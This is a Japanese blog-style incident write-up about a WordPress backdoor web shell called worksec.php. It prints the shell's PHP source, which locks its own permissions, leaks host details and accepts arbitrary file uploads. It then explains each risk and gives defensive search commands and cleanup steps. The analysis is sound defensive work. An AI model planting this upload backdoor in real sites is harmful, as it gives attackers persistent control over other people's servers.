🧠 概要：
概要
この記事は、WordPressサイトで見つかった「worksec.php」という名前のバックドア型ウェブシェルの危険性やその対処法について詳述しています。特に、このファイルが様々なフォルダにコピーされていることや、コードを解析することで具体的なリスクを明らかにし、効果的な駆除方法を提案しています。
要約
- 初見: worksec.phpが複数のWordPressサイトで発見され、様々なフォルダにコピーされている。
- コード解析:
- ファイルのアクセス権を変更し、削除や改変を困難に。
- エラーメッセージを非表示にし、長時間動作させる策略。
- 環境情報の漏洩を引き起こし、さらなる攻撃を招く。
- 任意のファイルアップロードが可能で、二段階目のシェル設置を許可する。
- 侵入経路の推測:
- 自動スクリプトによる大量複製。
- 類似シェルファイルの存在が示唆する権限昇格狙い。
- 脆弱なプラグインや流出した資格情報からのアクセス。
- 影響範囲の洗い出し: コマンドを用いてworksec.phpの存在を確認。
- 駆除と再発防止の手順:
- worksec.phpを直ちに削除。
- 不審なファイルも含めて削除。
- WordPressコアやプラグインを再展開。
- PHP実行権限の適正化。
- アカウントのパスワードを変更。
- WAFとファイル改ざん監視を設定。
- まとめ: 最初に行うべき行動は削除、ハッシュ検索、コア再展開であり、再侵入を防ぐために監視体制を整える重要性が強調されている。
はじめに
複数の WordPress サイトで突然見つかった worksec.php。
ルート直下・wp-admin/・wp-content/・.well-known/ など、フォルダを問わずコピーされていたのが特徴です。
この記事では 「コードから読み取れる事実」 と 「実害・対処法」 を、表を使わずにまとめます。
1. コードをざっくり分解
$file = 'worksec.php';
chmod($file, 0444);
error_reporting(0);
set_time_limit(0);
$user = get_current_user();
echo php_uname();
echo getcwd();
echo $user;
if(isset($_POST['Submit'])){
move_uploaded_file($_FILES['image']['tmp_name'],
$_FILES['image']['name']);
chmod($_FILES['image']['name'], 0644);
echo "Successfully Uploaded :D";
} else {
echo '';
}各処理の目的とリスク
-
0444 に変更
-
ファイルを削除・改変しにくくし、バックドアを残す。
-
-
エラー非表示・無制限実行
-
痕跡を減らし、長時間動かす。
-
-
環境情報の漏えい
-
OS、パス、ユーザー名を外部に晒し、追加攻撃のヒントに。
-
-
任意ファイルアップロード
-
.php でも何でも置けるため、二段階目のシェルを自由に設置できる。
-
結論：worksec.php は「情報漏えい + ファイルアップロード」のシンプルなバックドア。
2. 侵入経路を推測するヒント
-
同じハッシュのファイルが大量複製
→ 自動スクリプトで一括コピー。 -
wp-l0gin.php、lock360.php など類似シェルも同梱
→ WordPress コア風の偽名で権限昇格を狙う。 -
ファイルを置ける権限を既に所持
→ 脆弱プラグイン経由のアップロード、または流出した FTP/SSH 資格情報。
3. 影響範囲を一気に洗い出すコマンド例
find /path/to/sites -name 'worksec.php'
find /path/to/sites -mtime -14 -name '*.php' -type f
grep 'worksec.php' /var/log/httpd/access_log4. 安全に駆除し再発を防ぐ 6 ステップ
-
検出した worksec.php を即削除する
-
同時刻・同ハッシュの不審 PHP もまとめて削除する
-
WordPress コア・プラグイン・テーマを “公式パッケージ” で再展開する
-
画像アップロード用など静的ディレクトリでは PHP を実行不可に設定する
-
FTP／SSH／WordPress すべてのアカウントをパスワード変更（不要アカウントは削除）
-
WAF とファイル改ざん監視を常時オンにする
5. まとめ ― 見つけた瞬間にやること
-
削除 → ハッシュ検索 → コア再展開
-
アクセスログで侵入元 IP を特定しブロック
-
PHP 実行権限を最小化し、監視を常態化
worksec.php は小さくても危険なバックドア。
コードを理解し、権限設計と監視体制で再侵入を防ぎましょう。
Views: 0
